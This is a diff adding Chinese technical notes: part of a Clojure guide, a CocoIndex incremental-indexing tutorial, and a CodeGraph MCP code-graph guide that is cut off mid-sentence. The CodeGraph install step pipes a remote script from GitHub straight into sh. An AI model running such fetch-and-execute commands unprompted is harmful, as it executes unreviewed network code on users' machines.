+|------|-----------|------| +| 数字 | `42`, `3.14`, `22/7` | 支持有理数比 | +| 字符串 | `"hello"` | UTF-16,与 Java 互操作 | +| 关键字 | `:status` | 常用于 map 键,自描述 | +| 列表 | `'(1 2 3)` 或 `(list 1 2 3)` | 链表结构,`conj` 加在头部 | +| 向量 | `[1 2 3]` | 索引访问 O(log₃₂ n),`conj` 加在尾部 | +| Map | `{:a 1 :b 2}` | 不可变关联数组 | +| Set | `#{1 2 3}` | 不可变集合 | + +**序列(seq)** 是统一抽象:`map`、`filter`、`reduce` 等对任何可 `seq` 的东西工作,包括惰性列表(lazy-seq)。 + +### 5. 函数是一等公民 + +`define` 用 `defn`;匿名函数用 `fn` 或 **reader macro** `#(+ %1 %2)`。高阶函数是日常写法,循环多用 **递归** 或 **序列变换** 代替 `for` + 可变下标。 + +```clojure +(defn square [x] (* x x)) +(map square [1 2 3 4]) ; => (1 4 9 16) +(filter even? (range 10)) ; => (0 2 4 6 8) +``` + +### 6. 不可变与持久化数据结构 + +「修改」集合实际是 **返回新集合**,旧集合不变;内部通过 **结构共享**(受 Phil Bagwell HAMT 等研究启发)控制拷贝成本。这使多线程下 **随意传递引用** 更安全,也为 **值语义** 的 `=` 与良好 `hash` 打下基础。 + +```clojure +(def v1 [1 2 3]) +(def v2 (conj v1 4)) +; v1 仍是 [1 2 3],v2 是 [1 2 3 4] +``` + +### 7. 引用类型:何时需要可变状态 + +| 机制 | 适用场景 | +|------|----------| +| **Atom** | 单线程式 CAS 更新,如计数器、缓存快照 | +| **Ref** + **STM** | 多个 Ref 协调一致性事务 | +| **Agent** | 异步、串行化副作用 | +| **volatile!** | 极简易失字段 | + +哲学:**能不用可变就不用**;用了也要 **集中、显式、有协调策略**。 + +### 8. 多方法与 Protocol + +Clojure 用 **`defmulti` / `defmethod`** 实现运行时多态,不必继承 Java 类层次;**`defprotocol`** 类似接口,可对既有类型扩展(含 Java 类),类似 Scala 的 implicit class 或 Haskell type class 的实用子集。 + +### 9. JVM 互操作 + +```clojure +(. Math pow 2 10) ; 静态方法 +(.substring "hello" 1) ; 实例方法,目标放第一个参数 +(import '[java.time LocalDate]) +(LocalDate/now) +``` + +类型提示(`^String x`)可减少反射、提升性能;但动态 REPL 开发时常省略,先跑通再优化。 + +### 10. REPL 驱动开发 + +REPL(Read-Eval-Print Loop)不是玩具控制台,而是 **完整语言运行时**:可 `require` 库、`defn` 函数、用 `doc` / `source` / `apropos` 查文档。Calva(VS Code)、CIDER(Emacs)、Cursive(IntelliJ)把 REPL 嵌进编辑器,形成 **评估当前表单—看结果—继续改** 的微循环。 + +## 代码示例一:订单流水与积分(不可变管道) + +用向量与 map 模拟用户积分变更,展示 `update-in`、`assoc` 与 `reduce`: + +```clojure +(defn apply-event [users {:keys [user-id delta]}] + (if-let [u (get users user-id)] + (update users user-id #(update % :points + delta)) + users)) + +(defn apply-events [users events] + (reduce apply-event users events)) + +(def users + {1 {:name "Ada" :points 100} + 2 {:name "Grace" :points 50}}) + +(def events + [{:user-id 1 :delta 10} + {:user-id 2 :delta -5} + {:user-id 1 :delta 5}]) + +(def result (apply-events users events)) +(get-in result [1 :points]) ; => 115 +(get-in result [2 :points]) ; => 45 +``` + +要点:全程没有 `setPoints` 式突变;`users` 在每次 `reduce` 步骤绑定到新 map。若把 `users` 存进 **Atom**,可用 `(swap! users apply-events events)` 做线程安全更新。 + +## 代码示例二:多方法分发 + Java 互操作 + +按支付方式计算手续费,并调用 Java 的 `BigDecimal` 保证金额精度: + +```clojure +(ns billing.core + (:import [java.math BigDecimal RoundingMode])) + +(defmulti fee :method) + +(defmethod fee :card [_] 0.029M) +(defmethod fee :wallet [_] 0.015M) +(defmethod fee :default [_] 0.0M) + +(defn charge [method amount] + (let [rate (fee {:method method}) + amt (BigDecimal/valueOf (double amount)) + mult (.multiply amt (BigDecimal. (str rate))) + fee (.setScale mult 2 RoundingMode/HALF_UP)] + (.add amt fee))) + +(charge :card 100.0) ; => 102.90M(示意,具体精度依 rate 而定) +(charge :wallet 100.0) +``` + +要点:`defmulti` 按 map 的 `:method` 键分发;`BigDecimal` 来自 Java,Clojure 数字字面量后的 `M` 表示 `BigDecimal`。生产环境可把金额建模为专门类型,避免 `double` 误差。 + +## 工具链与环境 + +| 工具 | 用途 | +|------|------| +| **Clojure CLI** + `deps.edn` | 官方推荐依赖与启动方式,`clojure -M -m my.ns` | +| **Leiningen** | 老牌构建工具,`lein new`、`lein repl` | +| **Babashka** | GraalVM 原生镜像,启动极快,适合 CLI 与 CI 脚本 | +| **Calva / CIDER / Cursive** | 编辑器 + 结构化编辑(paredit 风格)+ REPL | +| **[clojure.org](https://clojure.org/)** | 官方指南、API、REPL 教程 | +| **clojure.tools.logging** | 日志门面,底层可接 Logback | + +快速体验(需安装 JDK 11+ 与 [Clojure CLI](https://clojure.org/guides/install_clojure)): + +```bash +clojure +``` + +进入 REPL 后: + +```clojure +(+ 1 2) +(doc map) +(require '[clojure.string :as str]) +(str/join ", " ["a" "b" "c"]) +``` + +用 `deps.edn` 创建最小项目: + +```edn +{:paths ["src"] + :deps {org.clojure/clojure {:mvn/version "1.12.0"}}} +``` + +```bash +mkdir -p src/myapp +# src/myapp/core.clj 中 (ns myapp.core) 与 (-main ...) +clojure -M -m myapp.core +``` + +## 学习路径建议 + +1. **语法与 REPL**:[Programming at the REPL](https://clojure.org/guides/repl/introduction_to_repl) — 学会 `defn`、`let`、`if`、`loop`/`recur`、查 `doc`。 +2. **集合与序列**:`map` / `filter` / `reduce` / `into` / `comp`;理解 **惰性** `lazy-seq`。 +3. **命名空间与 deps**:`ns` 表单、`require`、`:as`、`:refer`;读懂 `deps.edn`。 +4. **状态模型**:Atom 与 `swap!`;需要时学 STM 与 Ref([Refs and Transactions](https://clojure.org/reference/refs))。 +5. **互操作**:读 Java 库 Javadoc,用 `import` 与 `gen-class`(少用)桥接。 +6. **宏(进阶)**:先熟练数据结构变换,再读 `defmacro` 与 syntax-quote。 +7. **选方向**: + - Web → **Ring**、**Compojure**、**Reitit**、**Pedestal** + - 前端 → **ClojureScript** + **re-frame** / **shadow-cljs** + - 数据 → **core.async**、Kafka 客户端、**Datomic**(若接触 Cognitect 栈) + - 脚本 → **Babashka** + +与 [[openjdk]] 对照:Clojure 编译为 JVM 字节码,GC 与 JIT 仍由 HotSpot 负责。与 [[scala]] 对比:两者都强调 FP 与 JVM;Clojure **更动态、REPL 中心、语法更统一(Lisp)**,Scala **静态类型更强、与 Java OOP 融合更深**。与 [[kotlin]] 对比:Kotlin 偏 **工业应用开发与 Android**;Clojure 偏 **数据导向、DSL、REPL 探索**。 + +## 常见误区 + +- **「括号太多看不懂」** — 用编辑器 **结构性编辑**(Slurp / Barf)把括号当 XML 标签;缩进对齐后可读性与 Python 同级。 +- **「不可变一定很慢」** — 持久化结构 + 结构共享使多数业务场景足够快;热点可用 **transient** 局部可变构建再冻结。 +- **「Lisp 只能学术玩」** — Clojure 在金融科技、CI、数据系统有长期生产部署;关键是团队是否接受 **REPL + 动态** 工作流。 +- **「有 STM 就可以到处共享可变状态」** — STM 有开销与使用约束;仍应优先不可变与明确边界。 +- **「宏万能,一上来就写」** — 宏增加间接层;能用函数解决的不要上宏(Clojure 社区共识)。 +- **忽略 Java 基础** — 排错、性能分析、依赖冲突仍在 JVM 层;需会读 stack trace 与用 `jvisualvm` 等工具。 + +## 延伸阅读 + +- 官方仓库:[github.com/clojure/clojure](https://github.com/clojure/clojure) +- 设计 rationale:[clojure.org/about/rationale](https://clojure.org/about/rationale) +- Rich Hickey — **Simple Made Easy**、**The Value of Values**(演讲,理解设计哲学) +- 书籍:*Clojure for the Brave and True*(免费在线)、*Programming Clojure*(Pragmatic) +- 数据结构参考:[clojure.org/reference/data_structures](https://clojure.org/reference/data_structures) +- 本库相关笔记:[[openjdk]](JVM 底座)、[[scala]]、[[kotlin]](同 JVM 现代语言对照)、[[graalvm]](Babashka 运行时) diff --git a/src/content/docs/projects/cocoindex.md b/src/content/docs/projects/cocoindex.md new file mode 100644 index 000000000..1a9e1a9f8 --- /dev/null +++ b/src/content/docs/projects/cocoindex.md @@ -0,0 +1,287 @@ +--- +title: CocoIndex — AI 增量数据转换与索引框架 +来源: https://github.com/cocoindex-io/cocoindex +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 是什么 + +**CocoIndex** 是一个面向 AI 工作负载的**增量数据转换框架**:你用 Python 声明「源数据 → 变换 → 目标索引」的期望状态,引擎在 Rust 核心上自动做变更检测、最小重算与目标同步。典型产物包括向量索引、知识图谱、特征表,以及供 Agent 长期引用的结构化上下文。 + +日常类比: + +- **手写 ETL 脚本**:像每次仓库改动都重新复印整栋楼的所有文件柜——改了一个 `main.py`,却把全库 Markdown 再切分、再 embedding 一遍。 +- **CocoIndex**:像图书馆的**编目系统**——新书入库只登记新书,某本书换版只更新那一册的卡片;删书则自动从目录里摘掉对应条目。你只管写「一本书该怎么变成卡片」,不用写「今天比昨天多了哪几本」。 + +再换一个类比:它很像 Excel 里的公式——你定义 `C2 = A2 & B2`,改 A2 时 Excel 只重算受影响的格子。CocoIndex 把这套「声明式变换 + 自动增量重算」扩展到嵌套数据(文档 → 块 → 向量)、长生命周期管道,以及 Postgres / 向量库等目标存储。 + +核心引擎用 **Rust** 编写,通过 **PyO3** 暴露 Python API;Apache 2.0 开源,GitHub 上 star 数已达数千级,定位是「long-horizon agent」背后的数据层,而不是又一个聊天 UI。 + +## 为什么重要 + +如果你在做 RAG、代码库索引、会议记录入库、或任何「源数据会变、下游索引必须跟得上」的 Agent 场景,CocoIndex 解决的是常被低估的一层: + +1. **增量是默认能力,不是后期补丁**——组件级、函数级、目标级三层变更检测;未改动的文件可 `memo` 跳过,embedding 等昂贵步骤可复用缓存。 +2. **数据血缘(lineage)可观测**——采用 Dataflow 式编程:每个字段由输入字段纯函数导出,无隐藏可变状态,便于调试「这条检索结果从哪来」。 +3. **写批处理心智,跑增量执行**——不必手写 DAG、调度器或 delta 逻辑;`cocoindex update` 在 batch 与 live 模式间切换。 +4. **与 Python AI 生态对齐**——SentenceTransformer、Docling、自定义 UDF 都能挂在 `transform` / `@coco.fn` 上;目标端支持 Postgres(pgvector)、以及可扩展的 connector 接口。 + +它和 [[dify]]、[[llamaindex]] 的边界也清晰:Dify 偏「低代码搭应用」;LlamaIndex 偏「应用层 RAG 编排」;CocoIndex 更靠近 **数据工程 + 索引管道**——把「永远新鲜的上下文」做成基础设施。 + +## 核心概念 + +### 1. 索引流(Indexing Flow) + +一条索引流 = **数据源 import → 变换 transform →(可选 collect)→ 目标 export**。流内所有数据的 schema 在定义时就确定,支持基础类型、struct、以及带 key 的 KTable / 有序 LTable。 + +常见操作(action): + +| 动作 | 作用 | +|------|------| +| `import` / `add_source` | 从 LocalFile、数据库、队列等拉取源数据 | +| `transform` | 对字段应用内置或自定义函数(切分、embedding、LLM 抽取) | +| `for each` / `.row()` | 对集合中每一行重复同一套变换 | +| `collect` | 把多行结果汇总到 collector | +| `export` | 写入 Postgres 向量表、图库、文件系统等 target | + +### 2. 持久状态驱动(Persistent-State-Driven) + +你声明的是 **target 应该长什么样**,而不是「如何一步步 patch」。引擎维护内部状态(默认用 **PostgreSQL** 或本地 `COCOINDEX_DB`),记录每个处理单元上次算过什么;源数据或代码变更时,只 reconcile 差异。 + +### 3. 处理组件(Processing Component) + +在较新的 App API 里,**每个独立源项**(例如一个 PDF、一个仓库文件)可挂载为一个 processing component,拥有自己的 component path。该项删除时,其声明的 target state(如对应的 `.md` 文件)会自动清理——适合「一文件一输出」的同步语义。 + +### 4. 增量处理的三层粒度 + +文档与官方 overview 一致,可概括为: + +- **组件/行级**:只有变更的源文件或记录进入重处理。 +- **函数级**:`@coco.fn(memo=True)` 等对昂贵纯函数做 memoization。 +- **目标级**:对向量表等只做必要的 insert / update / delete。 + +### 5. 查询(Query) + +索引完成后,检索可以走任意栈:直接 SQL + pgvector、Qdrant SDK,或注册 `@flow.query_handler` 供 CocoInsight 等工具发现。推荐用 `@cocoindex.transform_flow()` **共享**索引与查询阶段的 embedding 逻辑,避免「建索引用一种模型、查询又手写另一套」的漂移。 + +## 安装与环境 + +```bash +pip install -U cocoindex + +# 向量索引示例通常需要 Postgres + pgvector +# 或 quickstart 可用本地 SQLite 状态库: +echo "COCOINDEX_DB=./cocoindex.db" > .env +``` + +Postgres 场景设置: + +```bash +export COCOINDEX_DATABASE_URL="postgresql://user:pass@localhost:5432/cocoindex" +``` + +可选:`pip install docling` 用于 PDF→Markdown 教程;`sentence-transformers` 用于本地 embedding。 + +## 实践案例一:Markdown 文档 → Postgres 向量索引 + +这是官方最常见的 **flow_def** 风格:读目录、递归切分、embedding、导出带 HNSW 的向量表。 + +```python +import cocoindex + +@cocoindex.flow_def(name="TextEmbedding") +def text_embedding_flow( + flow_builder: cocoindex.FlowBuilder, + data_scope: cocoindex.DataScope, +): + # 1) 数据源:本地 markdown 目录 + data_scope["documents"] = flow_builder.add_source( + cocoindex.sources.LocalFile(path="markdown_files") + ) + + doc_embeddings = data_scope.add_collector() + + # 2) 每个文档 + with data_scope["documents"].row() as doc: + doc["chunks"] = doc["content"].transform( + cocoindex.functions.SplitRecursively(), + language="markdown", + chunk_size=2000, + chunk_overlap=500, + ) + + # 3) 每个 chunk + with doc["chunks"].row() as chunk: + chunk["embedding"] = chunk["text"].transform( + cocoindex.functions.SentenceTransformerEmbed( + model="sentence-transformers/all-MiniLM-L6-v2" + ) + ) + + doc_embeddings.collect( + filename=doc["filename"], + location=chunk["location"], + text=chunk["text"], + embedding=chunk["embedding"], + ) + + # 4) 导出到 Postgres + doc_embeddings.export( + "doc_embeddings", + cocoindex.targets.Postgres(), + primary_key_fields=["filename", "location"], + vector_indexes=[ + cocoindex.VectorIndexDef( + field_name="embedding", + metric=cocoindex.VectorSimilarityMetric.COSINE_SIMILARITY, + ) + ], + ) +``` + +运行: + +```bash +cocoindex update main # 一次性同步到当前源数据快照 +cocoindex update main -L # live 模式:持续监听源变更 +``` + +**增量行为**:往 `markdown_files/` 新增或修改单个文件后再次 `update`,只会重跑受影响文档的切分与 embedding,而不是全库重算。 + +## 实践案例二:共享 Transform Flow + 语义检索 + +索引与查询应对同一 embedding 函数,否则向量空间不一致,检索质量会莫名变差。 + +```python +import os +from psycopg_pool import ConnectionPool +import cocoindex + +@cocoindex.transform_flow() +def text_to_embedding(text: cocoindex.DataSlice[str]) -> cocoindex.DataSlice[list[float]]: + """索引与查询共用的 embedding 逻辑。""" + return text.transform( + cocoindex.functions.SentenceTransformerEmbed( + model="sentence-transformers/all-MiniLM-L6-v2" + ) + ) + +def search(pool: ConnectionPool, flow, query: str, top_k: int = 5): + table = cocoindex.utils.get_target_storage_default_name(flow, "doc_embeddings") + query_vector = text_to_embedding.eval(query) + + with pool.connection() as conn: + with conn.cursor() as cur: + cur.execute( + f""" + SELECT filename, text, embedding <=> %s::vector AS distance + FROM {table} + ORDER BY distance + LIMIT %s + """, + (query_vector, top_k), + ) + return [ + {"filename": row[0], "text": row[1], "score": 1.0 - row[2]} + for row in cur.fetchall() + ] + +# 使用示例 +# pool = ConnectionPool(os.environ["COCOINDEX_DATABASE_URL"]) +# print(search(pool, text_embedding_flow, "CocoIndex incremental processing")) +``` + +也可注册 query handler,把 `search` 包成 `cocoindex.QueryOutput`,供 CocoInsight 直接调用——适合团队内「可观测的 RAG 管道」。 + +## 实践案例三:PDF 批量转 Markdown(App API 速览) + +较新的 quickstart 用 `@coco.fn` + `coco.App`,强调**每文件一个处理组件**: + +```python +import pathlib +import cocoindex as coco +from cocoindex.connectors import localfs +from cocoindex.resources.file import PatternFilePathMatcher + +@coco.fn(memo=True) +def process_file(file: localfs.File, outdir: pathlib.Path) -> None: + # 伪代码:真实项目里可换成 docling 等转换器 + markdown = file.read_text() # 示意 + outname = file.file_path.path.stem + ".md" + localfs.declare_file(outdir / outname, markdown, create_parent_dirs=True) + +@coco.fn +async def app_main(sourcedir: pathlib.Path, outdir: pathlib.Path) -> None: + files = localfs.walk_dir( + sourcedir, + recursive=True, + path_matcher=PatternFilePathMatcher(included_patterns=["**/*.pdf"]), + ) + await coco.mount_each(process_file, files.items(), outdir) + +app = coco.App( + "PdfToMarkdown", + app_main, + sourcedir=pathlib.Path("./pdf_files"), + outdir=pathlib.Path("./out"), +) +``` + +```bash +cocoindex update main.py +``` + +删除 `pdf_files/` 中某个 PDF 再 update,对应 `out/` 下的 Markdown 会被引擎自动移除——这就是 **declare_file** 与组件路径树联动带来的「目标状态与源一致」。 + +## 与相关项目的对比 + +| 维度 | CocoIndex | LlamaIndex / LangChain 索引 | 自写 cron + 脚本 | +|------|-----------|------------------------------|------------------| +| 增量重算 | 内建、细粒度 | 需自行设计 checkpoint | 通常全量或手写 diff | +| 血缘/可观测 | Dataflow 字段级 | 依具体实现 | 弱 | +| 学习曲线 | Python 声明式 | 抽象多、偏应用 | 低起步、难维护 | +| 典型用户 | 数据/平台工程师、Agent 基础设施 | 应用开发者 | 小团队脚本 | + +不是替代关系:很多团队用 CocoIndex 维护「干净的索引层」,上层再用任意 Agent 框架消费。 + +## 常见坑与排错 + +1. **Postgres 必须用 pgvector 镜像**——plain `postgres:16` 会在创建 vector 扩展时报 `extension "vector" is not available`。 +2. **索引与查询 embedding 不一致**——务必 `@transform_flow` 共享,或 query handler 内 `eval()` 同一 flow。 +3. **混淆两种 API 风格**——仓库里同时存在 `flow_def`(FlowBuilder)与 `coco.App`(mount_each);跟官方 quickstart 版本对齐即可,不要混用已废弃的 `main_fn()` 入口。 +4. **粒度选太大或太小**——`mount_each` 按文件往往最自然;按页 mount 适合超大 PDF,按目录 mount 适合批量原子更新。 +5. **live 模式依赖源 connector 的变更捕获**——并非所有数据源都同等支持实时监听,部署前查对应 connector 文档。 + +## 典型应用场景 + +- **代码库索引**:符号、调用图、文件 chunk embedding,供 code review / coding agent 使用(官方强调「structure, not raw text」)。 +- **企业知识库 RAG**:Confluence / SharePoint / S3 文档增量入 Postgres 或向量库。 +- **多模态管道**:音视频转写 → 分段 → embedding(与文本流同一套增量语义)。 +- **长时程 Agent**:数周运行的任务里,源数据持续变化,但 agent 读到的索引保持秒级~分钟级新鲜。 + +## 命令速查 + +```bash +pip install -U cocoindex +cocoindex update # 同步索引 +cocoindex update -L # live 更新 +cocoindex drop # 删除 flow 及关联内部状态(慎用) +``` + +环境变量: + +- `COCOINDEX_DATABASE_URL` — Postgres 状态与向量目标 +- `COCOINDEX_DB` — 本地轻量状态(如 quickstart 的 SQLite 路径) + +## 延伸阅读 + +- 官方文档:[Overview](https://cocoindex.io/docs/getting_started/overview/)、[Indexing Basics](https://cocoindex.io/docs/core/basics)、[Quickstart](https://cocoindex.io/docs/getting_started/quickstart) +- 示例集:[Simple Vector Index](https://cocoindex.io/examples/simple_vector_index) +- 相关笔记:[[dify]](应用层)、[[vllm]](推理Serving)、向量数据库与 RAG 论文索引 + +--- + +**一句话总结**:CocoIndex 让你用 Python 描述「数据应该变成什么样」,由 Rust 引擎负责「只有 delta 在动」——适合把 Agent 的上下文从「偶尔跑一次的脚本」升级成「可版本化、可观测、可持续同步的数据产品」。 diff --git a/src/content/docs/projects/codegraph-claude-code.md b/src/content/docs/projects/codegraph-claude-code.md new file mode 100644 index 000000000..a9d5cddc4 --- /dev/null +++ b/src/content/docs/projects/codegraph-claude-code.md @@ -0,0 +1,294 @@ +--- +title: CodeGraph — 面向 AI 编程代理的预索引代码知识图谱 +来源: https://github.com/colbymchenry/codegraph +日期: 2026-06-13 +子分类: 开发者工具 +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +[CodeGraph](https://github.com/colbymchenry/codegraph)(npm 包名 `@colbymchenry/codegraph`)是一套**本地优先**的代码智能工具:用 [tree-sitter](https://tree-sitter.github.io/) 把仓库解析成符号与调用关系,存入 SQLite 知识图谱,再通过 **MCP(Model Context Protocol)** 暴露给 Claude Code、Cursor、Codex CLI、OpenCode 等 AI 编程代理。 + +日常类比: + +> 把陌生城市交给一位只会「挨家敲门问路」的导游,和交给一位**手里已有完整地铁线路图 + 商铺名录**的导游,体验完全不同。 +> +> 没有 CodeGraph 时,代理往往靠 `grep`、`glob`、`Read` 在文件海里摸索——每敲一扇门都消耗 token 和工具调用次数。CodeGraph 相当于**提前把整座「代码城市」画成可查询的地图**:问「登录请求怎么走到数据库」,代理直接查图,而不是从 `src/` 根目录开始地毯式搜索。 + +项目由 Colby McHenry 维护,MIT 许可,2026 年 1 月发布 1.0。官方宣称在 7 个真实开源仓库上,相较纯 grep/Read 探索,**中位数约少 58% 工具调用、少 47% token、快 22%**(Claude Opus 4.8,2026-06-02 复测)。 + +## 为什么重要 + +2025–2026 年 AI 编程的主流范式是 **agent**:模型反复「规划 → 调工具 → 看结果」。探索型任务的成本大头往往在**发现代码在哪**,而不是理解已读到的片段。 + +CodeGraph 针对的正是这一瓶颈: + +| 痛点 | CodeGraph 的做法 | +|------|------------------| +| 大仓库里 grep 命中太多 | FTS5 全库符号名搜索 + 图遍历 | +| 调用链要多次 Read 拼接 | `codegraph_explore` 一次返回相关源码与关系图 | +| 改函数不知道谁会坏 | `codegraph_callers` / `impact` 做影响半径分析 | +| 索引过期 | 原生文件监听(FSEvents / inotify)+ 2s 防抖增量同步 | +| 代码隐私 | **100% 本地**,数据不进云端,无需 API Key | + +与同名但不同的 [codegraph-ai/CodeGraph](https://github.com/codegraph-ai/CodeGraph)(偏 VS Code 扩展、38+ 语言)相比,**colbymchenry 版**明确面向 Claude Code / Cursor / Codex 的 MCP 集成,并有公开 benchmark。 + +## 核心概念 + +### 1. 知识图谱(Knowledge Graph) + +节点是**符号**(函数、类、方法、路由等),边是**关系**(calls、imports、extends、implements、references 等)。例如: + +``` +[Router.get('/users')] --references--> [listUsers handler] +[listUsers] --calls--> [UserService.findAll] +[UserService.findAll] --calls--> [db.query] +``` + +代理问「`/users` 接口最终查哪张表」,沿边走几跳即可,不必全文搜索 `users`。 + +### 2. 三层流水线 + +官方架构可概括为: + +1. **Extraction**:tree-sitter 解析 AST,按语言 query 抽符号与边(20+ 语言)。 +2. **Storage**:写入项目目录 `.codegraph/codegraph.db`(SQLite + FTS5)。 +3. **Resolution**:把「未解析的调用名」绑定到定义;并识别 Django/Express/NestJS 等 **17 种 Web 框架路由**,把 URL 模式连到 handler。 + +### 3. MCP Server + +代理不直接读数据库,而是启动 `codegraph serve --mcp`,通过标准 MCP 工具调用图谱。`codegraph install` 会把该 server 写入各代理的配置(如 Claude 的 `~/.claude.json`、Cursor 的 MCP 配置)。 + +### 4. 自动同步与「陈旧」提示 + +保存文件后,监听器在防抖窗口(默认 2s)后增量重索引。若代理在同步完成前查询到**待更新文件**,响应会带 `⚠️` 横幅,提示对该文件直接用 Read——避免静默返回过期内容。 + +### 5. 与 Explore 子代理的关系 + +Claude Code 等在无索引时常 spawn **Explore 子代理**批量 grep/Read。CodeGraph 的设计意图是:**主会话直接调 MCP**,用 1–3 次结构化查询替代十几轮文件扫描。若仍把探索丢给子代理去 Read 文件,索引优势会被抵消。 + +## 安装与接入代理 + +**方式 A:一键安装脚本(无需预装 Node)** + +```bash +# macOS / Linux +curl -fsSL https://raw.githubusercontent.com/colbymchenry/codegraph/main/install.sh | sh + +# 新开终端后,接入已安装的 AI 代理 +codegraph install +``` + +**方式 B:npm 全局安装** + +```bash +npm i -g @colbymchenry/codegraph +codegraph install +``` + +**方式 C:零安装体验** + +```bash +npx @colbymchenry/codegraph +``` + +`install` 会检测本机已装的 Claude Code、Cursor、Codex CLI 等,写入 MCP 配置,并在 `CLAUDE.md` / `AGENTS.md` 等指令文件里插入简短使用说明。卸载用 `codegraph uninstall`。 + +**在项目里建索引:** + +```bash +cd your-project +codegraph init # 创建 .codegraph/ 并全量建图 +``` + +之后文件变更会自动同步,一般**不必**手动 `codegraph sync`。 + +**非交互式 / CI 示例:** + +```bash +codegraph install --target=cursor,claude --yes +codegraph init --quiet +``` + +## MCP 工具怎么选 + +默认向代理暴露四个工具(其余可通过环境变量 `CODEGRAPH_MCP_TOOLS` 打开): + +| 工具 | 适用场景 | +|------|----------| +| `codegraph_explore` | **首选**。「X 怎么工作」「从 A 到 B 的调用链」「这块模块有哪些入口」 | +| `codegraph_node` | 单个符号全文 + 调用方;或像 Read 一样按路径读整文件(支持 offset/limit) | +| `codegraph_search` | 按名字定位符号 | +| `codegraph_callers` | 谁调用了这个函数(含回调注册点) | + +心智模型:**先 explore,定位不准再 search,改代码前用 callers/impact 看爆炸半径**。 + +若项目没有 `.codegraph/` 目录,MCP server 会声明自己未激活,**不注册任何工具**——代理回退到内置 grep/Read,索引完全可选。 + +## 代码示例 + +### 示例 1:手动配置 Claude Code MCP(不用 install 时) + +编辑 `~/.claude.json`(路径因版本而异): + +```json +{ + "mcpServers": { + "codegraph": { + "type": "stdio", + "command": "codegraph", + "args": ["serve", "--mcp"] + } + } +} +``` + +可选:在 `~/.claude/settings.json` 里为 CodeGraph 工具加 auto-allow,减少每次点批准: + +```json +{ + "permissions": { + "allow": [ + "mcp__codegraph__codegraph_explore", + "mcp__codegraph__codegraph_search", + "mcp__codegraph__codegraph_callers", + "mcp__codegraph__codegraph_node" + ] + } +} +``` + +配置完成后重启 Claude Code / Cursor,并在目标仓库执行过 `codegraph init`。 + +### 示例 2:终端 CLI 探索(与 MCP 同源) + +不打开 IDE 也能查图——适合脚本或人类预习: + +```bash +# 全库搜索符号 +codegraph query UserService --limit 10 + +# 一条命令回答架构问题(等同 MCP 的 codegraph_explore) +codegraph explore "how does login reach the database" + +# 改代码前:谁依赖这个函数 +codegraph callers authenticateUser + +# 影响分析(CLI 版;MCP 默认未列出但可用) +codegraph impact UserService.update --depth 2 +``` + +### 示例 3:CI 里只跑受影响的测试 + +`codegraph affected` 沿 import 图找「改了这些源文件后,哪些测试文件可能受影响」: + +```bash +#!/usr/bin/env bash +set -euo pipefail + +AFFECTED=$(git diff --name-only origin/main...HEAD \ + | codegraph affected --stdin --quiet) + +if [ -n "$AFFECTED" ]; then + echo "Running tests for: $AFFECTED" + npx vitest run $AFFECTED +else + echo "No test files affected by graph traversal." +fi +``` + +### 示例 4:在自有 Node 应用里嵌入 API + +除 CLI/MCP 外,包可编程调用(需 Node 22.5+ 与 `node:sqlite`): + +```typescript +import CodeGraph from '@colbymchenry/codegraph'; + +const cg = await CodeGraph.init('/path/to/project'); + +await cg.indexAll({ + onProgress: (p) => console.log(`${p.phase}: ${p.current}/${p.total}`), +}); + +const hits = cg.searchNodes('UserService'); +const callers = cg.getCallers(hits[0].node.id); +const impact = cg.getImpactRadius(hits[0].node.id, 2); + +cg.watch(); // 开启与 MCP 相同的文件监听 +// ... 业务逻辑 ... +cg.close(); +``` + +适合在 Electron 主进程、内部开发者门户等场景内置「代码地图」,而不走子进程 MCP。 + +## 工作原理一览 + +``` +┌─────────────────────────────────────────┐ +│ Claude Code / Cursor / Codex CLI │ +│ 「请求怎么进数据库?」 │ +│ → codegraph_explore(主会话) │ +└──────────────────┬──────────────────────┘ + │ MCP stdio + ▼ +┌─────────────────────────────────────────┐ +│ codegraph serve --mcp │ +│ explore · search · callers · node │ +└──────────────────┬──────────────────────┘ + ▼ +┌─────────────────────────────────────────┐ +│ .codegraph/codegraph.db (SQLite) │ +│ symbols · edges · FTS5 · routes │ +└─────────────────────────────────────────┘ +``` + +索引构建:tree-sitter 解析 → 抽节点/边 → 解析引用 → 可选框架路由增强 → 写入 DB。运行时:监听文件变更 → 防抖 → 增量 re-index。 + +## 能力边界与诚实预期 + +**擅长:** + +- 结构型问题:调用链、模块边界、路由到 handler、改动的直接影响 +- 中大型单仓(官方测过 VS Code ~10k 文件、Django ~3k 文件) +- 跨语言启发式边:Swift ↔ ObjC、React Native bridge、Expo Modules 等(边带 `provenance: heuristic` 标记) + +**不擅长 / 需注意:** + +- **动态派发**:`eval`、极度反射、运行时字符串拼方法名——静态图必然漏边 +- **未索引仓库**:无 `.codegraph/` 时工具不可用 +- **沙箱环境**:若禁用文件监听(`CODEGRAPH_NO_DAEMON=1`),需手动 `codegraph sync` +- **与子代理混用**:若指令仍要求「先 spawn Explore 再 Read」,benchmark 优势会消失 + +官方 benchmark 使用 `claude -p` headless、每仓库 4 次取中位数;你的仓库结构、模型版本、提问方式不同,节省比例会有波动,但「少做无效 grep」的方向一致。 + +## 常用命令速查 + +```bash +codegraph init [path] # 初始化并建图 +codegraph status # 索引统计与健康 +codegraph sync # 手动增量同步(少数场景) +codegraph upgrade --check # 检查更新 +codegraph uninit # 删除项目索引(不卸载 MCP) +codegraph uninstall # 从各代理移除 MCP 配置 +``` + +## 与相关技术的关系 + +- **tree-sitter**:确定性 AST 解析,比正则 grep 更适合抽符号。 +- **MCP**:与 [[mcp-ts-sdk]] 同一协议族;CodeGraph 是「代码图谱」类 MCP server 的代表实现之一。 +- **语义搜索 / RAG**:CodeGraph 偏**符号与调用图**,不是 embedding 向量库;二者可互补(图找结构,向量找相似片段)。 +- **IDE 自带索引**:Language Server 服务编辑器补全;CodeGraph 服务**无状态的 LLM 代理**,且输出为 agent 友好的大块上下文。 + +## 延伸阅读 + +- 官方文档与网站: +- npm: +- 索引与自动同步深读:[Indexing a Project](https://colbymchenry.github.io/codegraph/guides/indexing/) +- MCP 协议背景:本库笔记 [[mcp-ts-sdk]] +- 在 Cursor 中使用:配置 MCP 后于 Agent 模式直接提问结构问题,并确认项目根目录存在 `.codegraph/` + +## 小结 + +CodeGraph 把「理解代码库」从**在线搜索问题**变成**离线索引 + 在线查询**:本地 tree-sitter 建图,SQLite 存储,MCP 喂给 Claude Code / Cursor / Codex。零基础上手路径是 `install` → `init` → 重启代理 → 